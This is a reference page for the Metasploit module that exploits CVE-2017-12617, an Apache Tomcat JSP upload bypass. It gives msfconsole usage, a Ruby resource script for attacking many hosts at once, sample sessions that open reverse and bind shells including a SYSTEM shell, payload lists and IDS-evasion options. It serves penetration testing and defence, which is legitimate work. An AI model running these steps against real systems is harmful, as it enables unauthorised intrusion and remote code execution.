Tomcat RCE via JSP Upload Bypass - Metasploit
This page contains detailed information about how to use the exploit/multi/http/tomcat_jsp_upload_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Tomcat RCE via JSP Upload Bypass
Module: exploit/multi/http/tomcat_jsp_upload_bypass
Source code: modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb
Disclosure date: 2017-10-03
Last modification time: 2021-10-04 22:14:51 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-12617
This module uploads a jsp payload and executes it.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using tomcat_jsp_upload_bypass against a single host
Normally, you can use exploit/multi/http/tomcat_jsp_upload_bypass this way:
msf > use exploit/multi/http/tomcat_jsp_upload_bypass
msf exploit(tomcat_jsp_upload_bypass) > show targets
... a list of targets ...
msf exploit(tomcat_jsp_upload_bypass) > set TARGET target-id
msf exploit(tomcat_jsp_upload_bypass) > show options
... show and set options ...
msf exploit(tomcat_jsp_upload_bypass) > exploit
Using tomcat_jsp_upload_bypass against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tomcat_jsp_upload_bypass will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/tomcat_jsp_upload_bypass")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
Vulnerable Application
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
To set up a vulnerable installation: 1. Download and install an affected version of Apache Tomcat. 2. Download and install Java. Choose an appropriate version based on the Apache Tomcat version you downloaded. 3. In conf directory of Apache Tomcat, edit the web.xml file and set the "readonly" parameter to false for the default servlet. 4. Restart the Tomcat service.
Verification Steps
- Do:
use exploit/multi/http/tomcat_jsp_upload_bypass
- Do:
set payload java/jsp_shell_bind_tcp
- Do:
set RHOST [IP]
- Do:
set RPORT [PORT]
- Do:
check
- It should be reported as vulnerable
- Do:
run
- You should get a shell
Scenarios
msf > use exploit/multi/http/tomcat_jsp_upload_bypass
msf exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
payload => java/jsp_shell_bind_tcp
msf exploit(tomcat_jsp_upload_bypass) > set RHOST 10.10.40.93
RHOST => 10.10.40.93
msf exploit(tomcat_jsp_upload_bypass) > set RPORT 8080
RPORT => 8080
msf exploit(tomcat_jsp_upload_bypass) > check
[+] 10.10.40.93:8080 The target is vulnerable.
msf exploit(tomcat_jsp_upload_bypass) > run
[*] Started bind handler
[*] Uploading payload...
[*] Payload executed!
[*] Command shell session 1 opened (10.10.230.230:39979 -> 10.10.40.93:4444) at 2017-10-11 07:43:08 -0400
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files\apache-tomcat-7.0.81>whoami
whoami
nt authority\system
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Msfconsole Usage
Here is how the multi/http/tomcat_jsp_upload_bypass exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/tomcat_jsp_upload_bypass
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show info
Name: Tomcat RCE via JSP Upload Bypass
Module: exploit/multi/http/tomcat_jsp_upload_bypass
Platform: Linux, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-10-03
Provided by:
peewpw
Available targets:
Id Name
-- ----
0 Automatic
1 Java Windows
2 Java Linux
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the Tomcat installation
VHOST no HTTP server virtual host
Payload information:
Description:
This module uploads a jsp payload and executes it.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-12617
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
https://bz.apache.org/bugzilla/show_bug.cgi?id=61542
Module Options
This is a complete list of options available in the multi/http/tomcat_jsp_upload_bypass exploit:
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show options
Module options (exploit/multi/http/tomcat_jsp_upload_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the Tomcat installation
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/tomcat_jsp_upload_bypass exploit:
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show advanced
Module advanced options (exploit/multi/http/tomcat_jsp_upload_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/tomcat_jsp_upload_bypass module can exploit:
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Java Windows
2 Java Linux
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/tomcat_jsp_upload_bypass exploit:
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/tomcat_jsp_upload_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to execute the payload
Here is a relevant code snippet related to the "Failed to execute the payload" error message:
107: 'method' => 'GET'
108: })
109: if res1 && res1.code == 200
110: print_status('Payload executed!')
111: else
112: fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
113: end
114: else
115: fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
116: end
117: end
Failed to upload the payload
Here is a relevant code snippet related to the "Failed to upload the payload" error message:
109: if res1 && res1.code == 200
110: print_status('Payload executed!')
111: else
112: fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
113: end
114: else
115: fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
116: end
117: end
118:
119: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #9059 Merged Pull Request: Tomcat JSP Upload via PUT Bypass
References
- CVE-2017-12617
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
- https://bz.apache.org/bugzilla/show_bug.cgi?id=61542
See Also
Check also the following modules related to this module:
- exploit/multi/http/tomcat_mgr_deploy
- exploit/multi/http/tomcat_mgr_upload
- auxiliary/admin/http/tomcat_administration
- auxiliary/admin/http/tomcat_ghostcat
- auxiliary/admin/http/tomcat_utf8_traversal
- auxiliary/scanner/http/tomcat_enum
- auxiliary/scanner/http/tomcat_mgr_login
- exploit/windows/http/tomcat_cgi_cmdlineargs
- post/multi/gather/tomcat_gather
- exploit/linux/local/polkit_dbus_auth_bypass
- exploit/multi/http/coldfusion_rds_auth_bypass
- exploit/multi/http/openfire_auth_bypass
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/local/sudo_password_bypass
- exploit/unix/misc/polycom_hdx_auth_bypass
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/windows/local/applocker_bypass
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- post/windows/gather/enum_tomcat
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/october_upload_bypass_exec
- payload/java/jsp_shell_bind_tcp
- payload/java/jsp_shell_reverse_tcp
Related Nessus plugins:
- Apache Tomcat 8.0.0.RC1 < 8.0.47 Multiple Vulnerabilities
- Apache Tomcat 7.0.x < 7.0.82 / 8.5.x < 8.5.23 Multiple Vulnerabilities
- Apache Tomcat 9.0.0.M1 < 9.0.1 Multiple Vulnerabilities
- FreeBSD : tomcat -- Remote Code Execution (c0dae634-4820-4505-850d-b1c975d0f67d)
- Apache Tomcat 7.0.x < 7.0.82 Multiple Vulnerabilities
- Amazon Linux AMI : tomcat8 / tomcat80,tomcat7 (ALAS-2017-913)
- Oracle Linux 6 : tomcat6 (ELSA-2017-3080)
- Oracle Linux 7 : tomcat (ELSA-2017-3081)
- RHEL 6 : tomcat6 (RHSA-2017:3080)
- RHEL 7 : tomcat (RHSA-2017:3081)
Authors
peewpw
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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